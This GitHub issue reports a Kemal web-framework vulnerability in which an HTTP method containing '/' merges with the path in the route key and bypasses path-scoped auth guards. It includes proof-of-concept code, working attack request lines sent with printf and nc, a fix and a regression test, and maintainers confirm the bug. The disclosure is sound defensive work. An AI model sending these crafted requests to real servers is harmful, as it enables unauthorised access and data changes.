kemal icon indicating copy to clipboard operation
kemal copied to clipboard

HTTP method containing "/" collides with the route key, bypassing all path-scoped middleware (auth bypass)

Open yvzkr opened this issue 2 months ago • 2 comments

Summary

Kemal builds its route-matching key by concatenating the HTTP method and the request path with no separator ("/#{method}#{path}"). The Crystal stdlib does not validate the method token, so a client fully controls where the method ends and the path begins in that concatenated key. By moving part of a protected path into the method token, a request resolves to a protected route while every path-scoped guard — use "/prefix", Kemal::Handler only/exclude, and before_*/after_* filters — matches on request.path and therefore never fires.

The result is a bypass of path-scoped authorization on any route, using a single crafted request line, with no authentication and no user interaction.

Root cause

Route keys are built without a delimiter between method and path — src/kemal/route_handler.cr:

private def radix_path(method, path)
  "/#{method}#{path}"          # no separator between method and path
end

The lookup verb is the raw request method (src/kemal/ext/context.cr):

@cached_route_lookup ||= Kemal::RouteHandler::INSTANCE.lookup_route(@request.method.as(String), @request.path)

And the Crystal stdlib accepts any bytes (including /) as the method (http/request.cr, parse_request_line):

method = METHODS.find { |m| m.to_slice == subslice } || String.new(subslice)

So get "/admin/secret" registers the key "/GET/admin/secret". A request with method GET/admin and path /secret produces the identical key "/GET/admin/secret" and resolves to the same route — but the guard layer sees request.path == "/secret" and request.method == "GET/admin":

Request method path radix key
Normal GET /admin/secret /GET/admin/secret
Attack GET/admin /secret /GET/admin/secret

PathHandler matches on request.path; Kemal::Handler#only/exclude match on request.path; FilterHandler dispatches on request.path + request.method; and context.effective_route_method returns the raw method verbatim for non-HEAD requests. None of them recognises /secret as being under /admin, so all are skipped.

Proof of concept

require "kemal"

before_all "/admin/*" do |env|
  halt env, status_code: 401, response: "auth required"
end

get "/admin/secret" do |env|
  "TOP-SECRET-DATA"
end

Kemal.config.env = "production"
Kemal.run
# Control — correctly denied:
$ printf 'GET /admin/secret HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 3000
HTTP/1.1 401 Unauthorized ... auth required

# Attack — the method token absorbs the protected path segment:
$ printf 'GET/admin /secret HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 3000
HTTP/1.1 200 OK ... TOP-SECRET-DATA

Reproduced against a binary built from current master under crystallang/crystal:1.17.1-alpine, across every path/verb-scoped guard style:

Guard Control Attack Result
before_all "/admin/*" GET /admin/secret → 401 GET/admin /secret 200, secret served
before_get "/account" (exact path) GET /account → 401 GET/account / 200, data served
only ["/api/*"], "*" GET /api/users → 401 GET/api /users 200, data served
use "/dash", Auth.new GET /dash/home → 401 GET/dash /home 200, data served
only ["/api/*"], "*" (DELETE) DELETE /api/users/42 → 401 DELETE/api /users/42 200, user deleted

The GET/account / case is notable: pushing the entire path into the method leaves request.path == "/", so even an exact-path guard is defeated — no path-scoping survives.

Impact

Bypass of path-scoped authorization for any remote, unauthenticated client in a single request. Reaches protected route handlers (admin panels, internal APIs, state-changing actions) while auth checks, ACLs, and after_* audit/logging filters are all skipped. This is the primary authorization mechanism Kemal documents (the README teaches before_get "/admin/*").

Not affected: a global before_all (default path "*"), which matches on verb only and runs for every request — but path/verb-scoped guards, the idiomatic and documented pattern, are.

Threat model / preconditions

The attack request uses a method token containing /, which the Crystal HTTP server accepts. A standard reverse proxy that validates the method token blocks it: with nginx in front of the PoC, GET /admin/secret is proxied normally (→ 401) while GET/admin /secret is rejected by nginx with 400 Bad Request and never reaches Kemal. So the practical precondition is a directly-exposed Kemal instance (L4 load balancer, container, dev, or a non-validating proxy) — a common Kemal deployment, since Kemal is usable as a standalone server. The route key is ambiguous regardless of deployment, so the framework should not depend on an external proxy to fix it.

Suggested fix

Reject request methods that are not valid RFC 9110 tokens (crucially, that contain the router's / delimiter) at the front of the chain, before any routing or guard runs. In Kemal::InitHandler#call:

method = context.request.method
unless !method.empty? && method.each_char.all? { |c|
         c.ascii_letter? || c.ascii_number? || "!#$%&'*+-.^_`|~".includes?(c) }
  context.response.respond_with_status(:bad_request)
  return
end

/ is not an RFC 9110 token character, which closes the method↔path desync while still allowing custom RFC-compliant methods. This also protects every other request.method consumer (FilterHandler, HandlerInterface, logging). A structural alternative is to key the radix trees with a delimiter that can appear in neither a method nor a path.

Regression test

it "rejects a method-injected request instead of routing it into a path-scoped guard" do
  get "/admin/secret" { |env| "secret" }
  request = HTTP::Request.new("GET/admin", "/secret")   # injected method token
  response = call_request_on_app(request)
  response.status_code.should eq(400)                   # not 200, not the secret
end

Environment

  • Kemal: current master
  • Crystal: 1.17.1 (behaviour of parse_request_line is unchanged across supported 1.x)

yvzkr avatar Sep 10 '26 17:09 yvzkr

Hi @yvzkr! Thanks for the report :) I looked into it and was able to reproduce it on the master branch. It looks like a fix is needed.

So, I was planning to work on the patch myself, but if you'd like to send a PR, just let me know! I'll wait a bit, and if I don't hear back I'll go ahead and take care of it.

cc @sdogruyol @azqzazq1

hahwul avatar Sep 11 '26 10:09 hahwul

Hi @yvzkr! Thanks for the report :) I looked into it and was able to reproduce it on the master branch. It looks like a fix is needed.

So, I was planning to work on the patch myself, but if you'd like to send a PR, just let me know! I'll wait a bit, and if I don't hear back I'll go ahead and take care of it.

cc @sdogruyol @azqzazq1

Hi @hahwul, thanks for looking into it so quickly and confirming the issue! I'd be glad if you could take care of the fix. Feel free to tag me on the PR, and I'll help review or test it.

yvzkr avatar Sep 11 '26 10:09 yvzkr